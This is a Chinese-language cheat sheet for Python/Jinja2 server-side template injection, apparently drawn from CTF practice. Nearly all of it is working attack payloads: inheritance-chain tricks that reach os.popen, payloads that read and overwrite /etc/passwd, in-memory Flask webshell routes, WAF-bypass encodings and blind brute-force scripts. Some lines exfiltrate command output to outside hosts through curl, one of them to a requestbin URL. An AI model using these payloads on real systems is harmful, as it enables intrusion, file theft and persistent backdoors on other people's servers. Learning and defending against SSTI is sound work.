SSTI Python继承链 继承链流程 通过访问Python内部属性,获取可以执行命令的库和函数。 1.获取实例对象的类 2.获取该类的祖先类object 3.获取object的子类 4.选取__init__为函数的类 5.获取其__globals__属性的__builtins__ 6.使用内置的类执行代码或导包后执行命令
Python内部属性:
1 2 3 4 5 6 7 8 9 10 __class__ 返回一个实例所属的类 __mro__ 查看类继承的所有父类,直到object __subclasses__() 获取一个类的子类,返回的是一个列表 __bases__ 返回一个类直接所继承的类(元组形式) __init__ 类实例创建之后调用, 对当前对象的实例的一些初始化 __globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价 __getattribute__ 当类被调用的时候,无条件进入此函数。 __getattr__ 对象中不存在的属性时调用 __dict__ 返回所有属性,包括属性,方法等 __builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数
获取object类 python的object类是所有类的基类,可以通过__mro__和__bases__两种方式来访问到object。 __mro__属性获取类的MRO(方法解析顺序),也就是继承关系。
1 2 3 4 5 6 ().__class__.__mro__[1] {}.__class__.__mro__[1] [].__class__.__mro__[1] ''.__class__.__mro__[1]#python3 ''.__class__.__mro__[2]#python2 request.__class__.__mro__[8] #针对jinjia2/flask为[9]适用
__base__属性可以获取该类的基类,可以叠加使用。
1 2 3 4 5 ().__class__.__base__ {}.__class__.__base__ [].__class__.__base__ ''.__class__.__base__ # python3 ''.__class__.__base__.__base__ # python2
__bases__属性可以获取多继承的基类元组。
1 2 3 4 ().__class__.__bases__[0] {}.__class__.__bases__[0] [].__class__.__bases__[0] ''.__class__.__bases__[0] # python3
获取子类列表 然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
1 ().__class__.__bases__[0].__subclasses__()
找到__init__为函数的类。 在获取初始化属性后,寻找不带warpper的,wrapper是指这些函数并没有被重载,不具有__globals__属性。
1 2 3 4 l=len([].__class__.__mro__[1].__subclasses__()) for i in range(l): if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__): print(i,[].__class__.__mro__[1].__subclasses__()[i])
或者使用func_globals
存在的子模块还可以通过.index()来进行查询,如果存在的话返回索引,直接调用即可。
1 2 3 4 5 >>> ''.__class__.__mro__[2].__subclasses__().index(file) 40 [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() #将read() 修改为 write() 即为写文件
查看其引用__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
1 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能:
1 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
RCE 常见的三种利用方式 __builtins__
1 2 3 [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()') [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read() [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()
linecache
1 2 3 [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami') [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami') [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls')
sys
1 [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami')
利用eval进行命令执行
1 ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
利用warnings.catch_warnings 进行命令执行 (1)查看warnings.catch_warnings方法的位置
1 2 >>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings) 59
(2)查看linecatch的位置
1 2 >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache') 25
(3)查找os模块的位置
1 2 >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os') 12
(4)查找system方法的位置(在这里使用os.open().read()可以实现一样的效果,步骤一样,不再复述)
1 2 >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system') 144
(5)调用system方法
1 2 >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami') root
(6)直接搜索
1 >>> [c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
利用commands 进行命令执行
1 2 3 4 {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls') {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls') {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
利用任意字符串或特殊变量
1 2 3 sss.__init__.__globals__.__builtins__.open("/flag").read() config.__class__.__init__.__globals__['os'].popen('ls').read() request.application.__globals__['__builtins__']['__import__']('os').popen('ls').read()
信息泄露 泄漏环境变量等配置
1 2 3 4 5 6 7 8 9 {{config}} {{self.__dict__}} {{url_for.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config}} {{get_flashed_messages.__globals__['current_app'].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}} {{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context.config}} {{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
查看全局变量
jinja环境变量
1 {{''.__init__.__globals__.app.jinja_env}}
文件读取 常用函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 __class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的模块、方法以及所有变量。查看所有键名:__globals__.keys()。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read() __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} cycler {{cycler.__init__.__globals__.os.popen('id').read()}} joiner {{joiner.__init__.__globals__.os.popen('id').read()}} namespace {{namespace.__init__.__globals__.os.popen('id').read()}} 写路由: app=__import__('sys').modules['__main__'].__dict__['app'] app.route("/shell","GET",lambda :__import__('os').popen(request.params.ge t('cmd')).read())
常用过滤器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 int():将值转换为int类型; float():将值转换为float类型; lower():将字符串转换为小写; upper():将字符串转换为大写; title():把值中的每个单词的首字母都转成大写; capitalize():把变量值的首字母转成大写,其余字母转小写; trim():截取字符串前面和后面的空白字符; wordcount():计算一个长字符串中单词的个数; reverse():字符串反转; replace(value,old,new): 替换将old替换为new的字符串; truncate(value,length=255,killwords=False):截取length长度的字符串; striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}; list():将变量列成列表; string():将变量转换成字符串; join():将一个序列中的参数值拼接成字符串。示例看上面payload; abs():返回一个数值的绝对值; first():返回一个序列的第一个元素; last():返回一个序列的最后一个元素; format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length():返回一个序列或者字典的长度; sum():返回列表内数值的和; sort():返回排序后的列表; default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length():返回字符串的长度,别名是count。
python2
1 2 3 {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
python3
1 ''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
文件写入 python2
1 2 3 {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd','w').write('test')}} ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd','w').write('test') ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd','w').write('test')
内存马 add_url_rule 提供了一个执行命令的路由
1 {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
before_request_funcs
1 {{url_for.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read())")}}
after_request_funcs
1 {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})}}
error_handler_spec
1 {{url_for.__globals__['__builtins__']["exec"]("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")}}
WAF绕过 盲注 通过回显内容的真假爆破字符串
1 2 3 4 5 {%for char in get_env(name="SECRET_KEY")%} {%if char is matching('') %}1 {%else%}0 {%endif%} {%endfor%}
示例脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import stringimport timeimport requestsurl = "https://ip:port/" s = string.printable def ssti (re ): payload = """text={%for char in get_env(name="SECRET_KEY")%}{%if char is matching('str') %}1{%else%}0{%endif%}{%endfor%}""" .replace("str" , re) headers = { "Content-Type" : "application/x-www-form-urlencoded" } result = requests.post(url, data=payload, headers=headers, verify=False ).text if "1" in result: print (re, result) return re return "" for i in s: time.sleep(0.5 ) ssti(i)
jinja2过滤器 attr 用于获取变量属性
1 2 ''|attr('__class__') >> ''.__class__
format
1 "%c%c%c%c%c%c%c%c%c"|format(95,95,99,108,97,115,115,95,95)=='__class__'
first last random
1 2 3 |last() => [-1] |first() => [0] |random() => [?]
join
1 2 3 4 {{[1,2,3]|join('|')}} >> 1|2|3 {{[1,2,3]|join}} >> 123
lower
replace reverse
1 2 '__claee__'|replace('ee','ss') '__ssalc__'|reverse
string
1 2 ().__class__ => <class 'tuple'> (().__class__|string)[0] => <
select
1 2 ()|select|string >> '<generator object select_or_reject at 0x0000022717FF33C0>'
list 转换为列表
过滤关键词 字符串拼接 加号是多余的
1 2 3 4 5 6 {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}} yyy.__init__.__globals__.__builtins__|attr('__getit''em__')('ev''al')('__imp''ort__("o''s").po''pen("ls /").re''ad()') [].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read() [].__class__.__bases__[0].__subclasses__()[127].__init__.__globals__.__builtins__["op"+"en"]("/fl"+"ag").read() {%print config|attr('%c%c%c%c%c%c%c%c%c'|format(95,95,99,108,97,115,115,95,95))|attr('%c%c%c%c%c%c%c%c'|format(95,95,105,110,105,116,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,108,111,98,97,108,115,95,95))|attr('%c%c%c%c%c%c%c%c%c%c%c'|format(95,95,103,101,116,105,116,101,109,95,95))('o'+'s')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('ls')|attr('%c%c%c%c'|format(114,101,97,100))()%} {%print(((lipsum[(session|string)[35:46]])[(session|string)[53:55]])[(session|string)[73:78]]((session|string)[85:139]))%}
反转
1 {{cycler['__tini__'[::-1]]['__slabolg__'[::-1]].os.popen('id').read()}}
lower()
1 {{sss.__init__.__globals__.__builtins__.open("/FLAG".lower()).read()}}
清空关键字list
引号
1 {{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}}
__getattribute__同时绕过中括号
1 ''.__getattribute__('__class__')
切片
编码 base64(python2)
1 2 {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}} {{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
Unicode
1 {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}}
16进制
1 {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
8进制
1 {{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}}
format
1 "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)
chr
1 2 {% set chr=url_for.__globals__['__builtins__'].chr %} {{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
~
1 {%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}
大小写
unicode字符 / Non-ASCII Identifies
𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳 𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡𝕒𝕓𝕔𝕕𝕖𝕗𝕘𝕙𝕚𝕛𝕜𝕝𝕞𝕟𝕠𝕡𝕢𝕣𝕤𝕥𝕦𝕧𝕨𝕩𝕪𝕫 0123456789
attr与过滤器 如果没有过滤globals,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 {% set xhx = (({ }|select()|string()|list()).pop(24)|string())%} # _ {% set spa = ((app.__doc__|list()).pop(102)|string())%} #空格 {% set pt = ((app.__doc__|list()).pop(320)|string())%} #点 {% set yin = ((app.__doc__|list()).pop(337)|string())%} #单引号 {% set left = ((app.__doc__|list()).pop(264)|string())%} #左括号( {% set right = ((app.__doc__|list()).pop(286)|string())%} #右括号) {% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%} #斜线/ {% set bu = dict(buil=aa,tins=dd)|join() %} #builtins {% set im = dict(imp=aa,ort=dd)|join() %} #import {% set sy = dict(po=aa,pen=dd)|join() %} #popen {% set os = dict(o=aa,s=dd)|join() %} #os {% set ca = dict(ca=aa,t=dd)|join() %} #cat {% set flg = dict(fl=aa,ag=dd)|join() %} #flag {% set ev = dict(ev=aa,al=dd)|join() %} #eval {% set red = dict(re=aa,ad=dd)|join()%} #read {% set bul = xhx*2~bu~xhx*2 %} #__builtins__ #拼接起来 __import__('os').popen('cat /flag').read() {% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} {% for f,v in y1ng.__init__.__globals__.items() %} #globals {% if f == bul %} {% for a,b in v.items() %} #builtins {% if a == ev %} #eval {{b(pld)}} #eval(pld) {% endif %} {% endfor %} {% endif %} {% endfor %} #payload #{%%20set%20xhx%20=%20(({%20}|select()|string()|list()).pop(24)|string())%}{%%20set%20spa%20=%20((app.__doc__|list()).pop(102)|string())%}{%%20set%20pt%20=%20((app.__doc__|list()).pop(320)|string())%}%20{%%20set%20yin%20=%20((app.__doc__|list()).pop(337)|string())%}{%%20set%20left%20=%20((app.__doc__|list()).pop(264)|string())%}%20{%%20set%20right%20=%20((app.__doc__|list()).pop(286)|string())%}%20{%%20set%20slas%20=%20(y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)|join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)|join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)|join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)|join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)|join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)|join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)|join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)|join()%}{%%20set%20bul%20=%20xhx*2~bu~xhx*2%20%}{%%20set%20pld%20=%20xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.__init__.__globals__.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 {%set a=dict(po=x,p=x)|join%} #pop {%set b=(()|select|string|list)|attr(a)(𝟐𝟒)%} #_ {%set c=(b,b,dict(do=x,c=x)|join,b,b)|join()%} #__doc__ {%set d=(x|attr(c)|list)|attr(a)(𝟑𝟑𝟕)%} #单引号 {%set e=(x|attr(c)|list)|attr(a)(𝟐𝟔𝟒)%} #左括号( {%set f=(x|attr(c)|list)|attr(a)(𝟐𝟖𝟔)%} #右括号) {%set g=(x|attr(c)|list)|attr(a)(𝟑𝟐𝟎)%} #点. {%set h=(x|attr(c)|list)|attr(a)(𝟏𝟎𝟐)%} #空格 {%set i=(b,b,dict(in=x,it=x)|join,b,b)|join()%} #__init__ {%set j=(b,b,dict(glo=x,bals=x)|join,b,b)|join()%} #__globals__ {%set k=(b,b,dict(ge=x,titem=x)|join,b,b)|join()%} #__getitem__ {%set l=(b,b,dict(buil=x,tins=x)|join,b,b)|join()%} #__builtins__ {%set m=(b,b,dict(im=x,port=x)|join,b,b)|join()%} #__import__ {%set n=(x|attr(i)|attr(j)|string|list)|attr(a)(𝟑𝟒𝟗)%} {%set o=dict(ev=x,al=x)|join()%} #eval {%set p=dict(o=x,s=x)|join()%} #os {%set q=dict(po=x,pen=x)|join()%} #popen {%set r=dict(re=x,ad=x)|join()%} #read {%set s=(dict(ls=x)|join,h,n,dict(var=x)|join,n,dict(www=x)|join,n,dict(flask=x)|join)|join()%} {%set t=(m,e,d,p,d,f,g,q,e,d,s,d,f,g,r,e,f)|join()%} {%set u=x|attr(i)|attr(j)|attr(k)(l)|attr(k)(o)(t)%} {{u}}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 {% set id=dict(ind=a,ex=a)|join%} {% set pp=dict(po=a,p=a)|join%} {% set ls=dict(ls=a)|join%} {% set ppe=dict(po=a,pen=a)|join%} {% set gt=dict(ge=a,t=a)|join%} {% set cr=dict(ch=a,r=a)|join%} {% set nn=dict(n=a)|join%} {% set tt=dict(t=a)|join%} {% set ff=dict(f=a)|join%} {% set ooqq=dict(o=a,s=a)|join %} {% set rd=dict(re=a,ad=a)|join%} {% set five=(lipsum|string|list)|attr(id)(tt) %} {% set three=(lipsum|string|list)|attr(id)(nn) %} {% set one=(lipsum|string|list)|attr(id)(ff) %} {% set shiba=five*five-three-three-one %} {% set xiahuaxian=(lipsum|string|list)|attr(pp)(shiba) %} {% set gb=(xiahuaxian,xiahuaxian,dict(glob=a,als=a)|join,xiahuaxian,xiahuaxian)|join %} {% set bin=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %} {% set chcr=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %} {% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%} {% set space=chcr(three*three*five-five-five-three) %} {% set shell=(ls,space,xiegang,dict(var=a)|join,xiegang,dict(www=a)|join,xiegang,dict(flask=a)|join)|join %} {{(lipsum|attr(gb))|attr(gt)(ooqq)|attr(ppe)(shell)|attr(rd)()}}
过滤[] 调用方法来获取属性
列表方法 __getitem__ pop get setdefault
1 2 3 4 dict.__getitem__('__builtins__') dict.pop('__builtins__') dict.get('__builtins__') dict.setdefault('__builtins__')
1 {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
1 {{''.__class__.__mro__.pop(1).__subclasses__().pop(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}}
unicode字符:[],﹇﹈
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。 在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过。
1 2 ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read() ().__class__.__mro__.__getitem__(1).__subclasses__().pop(407)("cat /flag",shell=True,stdout=-1).communicate().__getitem__(0)
过滤引号 request request.args和request.values
1 {{[].__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami
chr
1 {% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}}
unicode字符:"",''
过滤. 点等价于__getattribute__
1 ''.__getattribute__('__class__')
[]
1 {{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval'](request.args.v1)}}
|attr
1 {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
getattr
过滤_ 过滤了_可以用dir(0)[0][0]或者request[‘args’]或者 request[‘values’]绕过
request
1 2 3 {{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read() {{()|attr(request.values.x)|attr(request.values.y)|attr(request.values.a)()|attr(request.values.z)(185)|attr(request.values.b)|attr(request.values.c)|attr(request.values.z)(request.values.d)|attr(request.values.z)(request.values.e)(request.values.f)|attr(request.values.g)|attr(request.values.z)(request.values.h)(request.values.i)}}&x=__class__&y=__base__&z=__getitem__&a=__subclasses__&b=__init__&c=__globals__&d=__builtins__&e=__import__&f=os&g=__dict__&h=system&i=curl http://requestbin.net/r/1eqk6r61?p=`cat /flag`
过滤大括号 if
1 {% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %}
print
1 {% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %}
unicode字符:︷︷︸︸
过滤() unicode字符:⁽⁾,₍₎
对函数执行方式重载,如
1 request.__class__.__getitem__=__builtins__.exec
执行request[payload]时相当于exec(payload)
lambda表达式
过滤数字 unicode字符:𝟎𝟏𝟐𝟑𝟒𝟓𝟔𝟕𝟖𝟗,𝟘𝟙𝟚𝟛𝟜𝟝𝟞𝟟𝟠𝟡,0123456789
对象层面 (1)set {}=None 其他引用
1 2 {{% set config=None %}} => {{url_for.__globals__.current_app.config}} {{% set __builtins__=None %}} => {{[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__}}
(2)del 重载
(3)其它 获得对应函数的上下文常量
长度绕过 1 2 3 4 {{url_for.__globals__[request.args.a]}} {{lipsum.__globals__.os[request.args.a]}} {{url_for.__globals__.os.popen('whoami').read()}} {{lipsum.__globals__.os.popen('whoami').read()}}
Jinja 模板中存在 set 语句,用来设置模板中的变量: config 对象实质上是一个字典的子类,可以像字典一样操作。因此要更新字典,我们可以使用 Python 中字典的 update() 方法。用 update() 方法 + 关键字参数更新字典。
1 2 3 4 5 6 7 {{config}} {%set x=config.update(l=lipsum)%} {%set x=config.update(u=config.update)%} {%set x=config.u(g=request.args.a)%}&a=__globals__ {%set x=config.u(o=lipsum[config.g].os)%} {%set x=config.u(f=config.l[config.g])%} {{config.f.os.popen('cat /f*').read()}}
1 2 3 4 5 6 7 8 9 10 11 12 {%set x=config.update(a=config.update)%} {%set x=config.a(f=lipsum.__globals__)%} {%set x=config.a(o=config.f.os)%} {%set x=config.a(p=config.o.popen)%} {{config.p("cat /t*").read()}} {%set x=config.update(l=lipsum)%} {%set x=config.update(g=request.args.a)%}&a=__globals__ {%set x=config.update(f=config.l|attr(config.g))%} {%set x=config.update(o=config.f.os)%} {%set x=config.update(p=config.o.popen)%} {%print(config.p(request.args.c).read())%}&c=whoami
无回显 1 2 3 {{yyy.__init__.__globals__.__builtins__|attr('__getitem_')('eval')('__import__("time").sleep(3) if open("/app/flag.txt").read()[0]=="f" else 1')}} {%if session.update({'f':lipsum.__globals__.__os__.__popen__('id').read()})%}{%endif%} {%include session.update({'f':lipsum.__globals__.__os__.__popen__('id').read()})%}
回显 1 {%set gl='_'*2+'globals'+'_'*2%}{%set bu='_'*2+'builtins'+'_'*2%}{%set im='_'*2+'i''mport'+'_'*2%}{%set ay='so'[::-1]%}{{cycler.next[gl][bu]['ev'+'al']("_"+"_imp"+"ort_"+"_('s"+"ys').modules['_"+"_main_"+"_']._"+"_dict_"+"_['app'].before_request_funcs.setdefault(None,[]).append(lambda:'<pre>{0}</pre>'.format(_"+"_impo"+"rt_"+"_('o"+"s').po"+"pen('id').read()))")}}
盲注 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import requests from string import printable as pt host = '' res = '' for i in range(0,40): for c in pt: payload = '{{(request.__class__.__mro__[2].__subclasses__[334].__init__.__globals__["__builtins__"]["file"]("/etc/passwd").read()|string).index("%c",%d,%d)}}' % (c,i,i+1) param = { "name":payload } req = requests.get(host,params=param) if req.status_code == 200: res += c break print(res)
沙箱逃逸 逃逸目标 命令执行 import
1 from os import system as __getattr__; from __main__ import sh
os os.system os.popen os.posix_spawn os.exec* os.spawnv
